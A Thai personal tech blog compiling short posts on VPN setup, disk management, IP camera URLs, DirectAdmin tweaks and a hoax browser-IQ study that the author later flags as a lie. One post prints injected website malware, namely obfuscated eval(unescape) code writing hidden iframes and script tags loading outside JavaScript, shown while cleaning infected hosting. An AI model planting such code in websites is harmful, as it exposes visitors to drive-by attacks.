วันนี้ลองติดตั้ง PSU OpenVPS เนื่องจากมี hosting ใน ม.อ. ที่จะต้องดูแล แต่ไม่สามารถ ftp/ssh จากข้างนอกได้
ทำตามขั้นตอนของ VPN ที่ ศูนย์คอมพิวเตอร์ ทำคู่มือไว้ให้
เกือบสำเร็จ แต่บน Ubuntu 11.04 ไม่แสดง Openvps มาให้เลือก เลยต้องทำตามขั้นตอน Linux (Ubuntu) OpenVPN Instructions เพิ่มอีกนิดนึง จึงสามารถเข้าได้ คือ
Install network-manager-openvpn by typing:
root@god# sudo apt-get install network-manager-openvpn
You will be prompted: "Do you want to continue? Y/n" Type Y and hit Enter. Once installation is complete, restart Network Manager by typing:
root@god# sudo restart network-manager
แล้วจึงกำหนดค่าตามที่ศูนย์คอมบอกมาก
ตอนนี้เรียบร้อยแล้ว ชีวิตก็ง่ายขึ้นอีกหน่อยนึง
บริษัทที่ปรึกษาด้านจิตวิทยาของแคนาดา AptiQuant ได้รายงานผลการวิจัยว่าด้วยความสัมพันธ์ของระดับเชาวน์ปัญญา (ไอคิว) กับเว็บเบราเซอร์ที่ใช้ โดยใช้กลุ่มตัวอย่างมากกว่าหนึ่งแสนคนทำแบบทดสอบวัดไอคิว จากนั้นก็เก็บผลคะแนนที่ได้กับเว็บเบราเซอร์ที่บุคคลนั้นใช้พบผลลัพธ์ที่น่าสนใจดังนี้
ในภาพรวมแล้วผู้ใช้ Internet Explorer มีระดับไอคิวอยู่ราว 80-90 ขณะที่กลุ่มผู้ใช้ Firefox, Chrome และ Safari มีไอคิวอยู่ในช่วง 100-110 ยิ่งไปกว่านั้นถ้าเป็นผู้ใช้งาน Chrome Frame, Camino หรือ Opera จะมีระดับไอคิวสูงมากกว่า 120 กันเลย
เมื่อเทียบกับผลการวิจัยในปี 2006 เห็นได้ว่าระดับไอคิวของผู้ใช้ IE6, IE7 ในขณะนั้นสูงกว่าค่าที่ได้ในปัจจุบันอย่างมาก รวมถึงเมื่อแยกย่อย IE ลงไปในแต่ละเวอร์ชั่นก็จะเห็นว่าผู้ใช้ IE8, IE9 มีคะแนนสูงกว่า IE6, IE7 ที่เป็นเวอร์ชั่นเก่ากว่า
ข้อสรุปของงานวิจัยนี้ชี้ว่านอกจากจะเห็นความแตกต่างของผู้ใช้งานเบราเซอร์แต่ละชนิดแล้ว ยังใช้อธิบายไอคิวของผู้ใช้งานซอฟท์แวร์เวอร์ชั่นที่เก่าเกินไปและไม่ยอมเปลี่ยนไปใช้เวอร์ชั่นใหม่ๆ ได้ด้วยเช่นกัน
ที่มา: AptiQuant ผ่านทาง Blognone โดย arjin
อัพเดท : ที่แท้ก็เป็นแค่ข่าวลวง พบหลักฐานงานวิจัยเรื่องไอคิวผู้ใช้ IE เป็นเพียงข่าวลวง , AptiQuant ยอมรับแล้วว่างานวิจัย IE เป็นเรื่องโกหก
Tarandeep Gill นักวิจัยด้านคอมพิวเตอร์วิทัศน์และปัญญาประดิษฐ์ผู้อยู่เบื้องหลังข่าวโกหกนี้บอกว่า เขาเจตนาใช้คำประเภทไอคิวต่ำกว่า โง่กว่า ไม่ได้เพื่อจะดูถูกใคร แต่มองว่าคำประเภทนี้สร้างความสนใจกับสื่อได้ดีมากกว่า (และก็ดีจริงๆ) ส่วนเหตุผลที่ทำให้เขาสร้างข่าวนี้ออกมา ก็เพราะเขามองว่าการพัฒนาเว็บให้มีความเข้ากันได้กับทุกเบราเซอร์นั้นเป็นเรื่องยากลำบาก โดยเฉพาะการทำให้มันเข้ากันได้กับ IE เวอร์ชั่น 6.0 ถึง 8.0 จึงทำให้งานวิจัยลวงนี้พุ่งเป้าโจมตีไปที่ IE เวอร์ชั่นดังกล่าว
Gill เชื่อว่าเหตุผลที่ข่าวนี้กระจายไปเร็วมาก เพราะข่าวดังกล่าวพูดในสิ่งที่คนอยากได้ยินมานานแล้ว มันจึงเผยแพร่ออกไปรวดเร็วมาก อันที่จริงเขาก็คิดว่าจะเฉลยเรื่องทั้งหมดในเร็วๆ นี้ แต่ดันถูกจับได้เสียก่อน
D-Link DCS-3411
mjpeg
http://camera ip/video/mjpg.cgi
jpeg
http://camera ip/image/jpeg.cgi
http://camera ip/image/jpeg.cgi?profileid=1
From D-Link forum
Axis 205 Network Camera
Main page
http://camera ip/view/view.shtml?videos=
View moving jpg
http://camera ip/mjpg/video.mjpg
Take snapshot
http://camera ip/snapshot.shtml?picturepath=' + picturepath
Current image url
http://camera ip/jpg/image.jpg
Capture image with curl
curl -O http://camera ip/jpg/image.jpg
Crontab
Get file from ftp upload
* * * * * /usr/local/bin/curl http://domain.com/flood/camera/ftp/(camid)?ajax >> /home/(user)/cron.log 2>&1
** Get file from camera
* * * * * /usr/local/bin/curl http://domain.com/flood/camera/update/(camid)?ajax >> /home/(user)/cron.log 2>&1
เรียนรู้เพิ่มเติม
Enter /usr/local/directadmin/custombuild ("cd /usr/local/directadmin/custombuild").
If you use PHP5 CLI, create the directory custom/ap2 ("mkdir -p custom/ap2"), then copy configure/ap2/configure.php5 to custom/ap2/configure.php5.
If you use PHP5 CGI, create the directory custom/suphp ("mkdir -p custom/suphp"), then copy configure/suphp/configure.php5 to custom/suphp/configure.php5.
Open the copied file and add "--enable-exif" to the list. Remember that there must be a "\" at the very end of every line but the last one.
Reinstall php ("./build php n").Thanks for your help, that did the trick! Now I now this for the next time when I need to enable or install an pluginThanks again!
ที่มา : DirectAdmin
รวมเอกสารสำหรับการ review literature
นาน ๆ ถึงจะได้ทำสักที ขอนำมาเก็บไว้ก่อนก็แล้วกัน
ทำการเพิ่ม HDD ถ้าระบบรองรับ hotswap ก็เสียบเข้าไปเลยไม่ต้อง shutdown แต่ถ้าไม่รองรับหรือไม่มี hdd bay แบบเสียบได้เลยก็คงต้องปิดเครื่องก่อนแหละ
เมื่อเพิ่ม hdd เสร็จแล้ว ก็เปิดเครื่อง login เข้า root (ตอน boot อาจจะแวะเข้า bios ตรวจสอบว่าระบบมองเห็น hdd ที่เพิ่มเข้าไป)
โดยปกติ hdd ที่เพิ่มเข้าไปก็จะเป็น sdb หรือ sdc สำหรับลูกที่ 2 และ 3 ตามลำดับ
สร้าง partition ด้วยคำสั่ง fdisk
กด p ดู partition ที่มีอยู่ ปกติ hdd ใหม่จะไม่มี partition แต่บางตัวก็จะมี utility partition ขนาดเล็กๆอยู่ ถ้ามีก็ลบออก แล้วสร้าง partition ตามต้องการroot@god# fdisk /dev/sdb
- d ลบ partition
- n สร้าง partition
- t กำหนด type ของ partition เสร็จแล้วกด w เพื่อบันทึก และออกจากโปรแกรมด้วย q
format partiton ที่สร้างขึ้นใหม่
หรือroot@god# mke2fs -j /dev/sdb1
root@god# mkfs -t ext3 /dev/sdb1
mount partition เข้าระบบ
root@god# mkdir /backup root@god# mount /dev/sdb1 /backup
อาจจะกำหนด label ให้ partition ที่สร้างใหม่
root@god# e2label /dev/sdb1 /backup
เพิ่มเข้าไปใน /etc/fstab เพื่อให้ mount ทุกครั้งที่ boot เครื่อง
/dev/sdb1 /backup ext3 defaults 1 2
หรืออ้างตามชื่อ labelLABEL=/backup /backup ext3 defaults 1 2
ที่มา ThaiHostTalk.com - จะเพิ่ม HD ลูกที่ 2 ใน CentOS ต้องทำอะไรบ้างครับ
ใกล้จะถึงเวลา harddisk Western Digital WD500GB เจ๊งอย่างถาวรแล้ว วันนี้เปิดเครื่องกี่ครั้งก็ไม่ขึ้น เลยต้องหยิบเอา harddisk สำรองมาลง Ubuntu แล้วเข้าไป repair ด้วยคำสั่ง
e2fsck /dev/[partition]
ดู partition ให้ดี ๆ นะครับ ที่ผมใช้อยู่เป็น sdb1 คำสั่งที่ได้เลยเป็น e2fsck /dev/sdb1
เมื่อขึ้น repair ก็ตอบ Y จนกว่ากระบวนการจะเสร็จสิ้น แล้วก็ทำการสำรองข้อมูลสำคัญไปไว้ที่อื่นซะโดยเร็ว
ขั้นต่อไปก็คือหาตังส์ไปซื้อ harddisk ตัวใหม่มาใช้งานโดยด่วน พรุ่งนี้ไปเก็บตังส์ แล้วจะได้รีบไปซื้อก่อนเลย
รอบนี้ที่ harddisk พังน่าจะเกิดจากการสั่นสะเทือน ที่บ้านพื้นเป็นไม้ เวลาเดินจะตึง ๆ บางครั้งเด็กก็กระโดดเล่นตอนที่กำลังทำงาน harddisk ก็เลย bad sector เป็นการ bad ที่ partition / ส่วน /home ยังคงปกติดีอยู่ ถือว่าโชคดีมาก ๆ อนาคตจะทำบ้านพื้นปูนแล้ว ใครจะกระโดดอย่างไร ก็ไม่กลัวแล้ว
โค๊ดเป็นตามนี้
<สคริปท์ >eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%65%64%76%62%2E%63%6F%6D%2F%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));< /สคริปท์> <สคริปท์>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%65%61%63%76%62%2E%63%6F%6D%2F%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));< /สคริปท์ >
และ
<สคริปท์ type="text/javascript" src="http://project-pc.it/jtoolsmini.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://witteveenreclame.nl/cssminibar.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://soorajmull.net/sidename.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://jigneshpatel.co.in/sidename.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://microstart.net/counter.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://9fox.biz/jtoolsmini.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://nicolaszuliani.com.ar/cssminibar.js"> < /สคริปท์> <สคริปท์ type="text/javascript" src="http://eugeniasilva.eu/sidename.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://pointgraphics.ie/counter.js">< /สคริปท์>
ยังไม่ได้ตามดูอย่างละเอียด
เปลี่ยน permission ของโฟลเดอร์เป็น 711 และ ไฟล์เป็น 644
สำหรับเว็บไซท์ที่ใช้ suPHP ส่วน code บรรทัดแรกยังไม่รู้เหมือนกันว่าทำอะไร ส่วนบรรทัดสุดท้ายนั้นจะเปลี่ยน owner/group ให้เป็นของแต่ละคน ซึ่งอาจจะไม่จำเป็น
cd /usr/local/directadmin/scripts && ./set_permissions.sh user_homes find /home/*/domains/*/public_html -type d -print0 | xargs -0 chmod 711 find /home/*/domains/*/public_html -type f -print0 | xargs -0 chmod 644 cd /usr/local/directadmin/data/users && for i in `ls`; do { chown -R $i:$i /home/$i/domains/*/public_html;}; done;
หาคำในไฟล์
ในที่นี้จะเป็นการหาคำว่า iframe แล้วบันทึกเก็บไว้ในไฟล์ iframe.txt
find /home/*/domains/*/public_html/ -maxdepth 100 -name *index* -exec grep -H "iframe" {} ";" > iframe.txt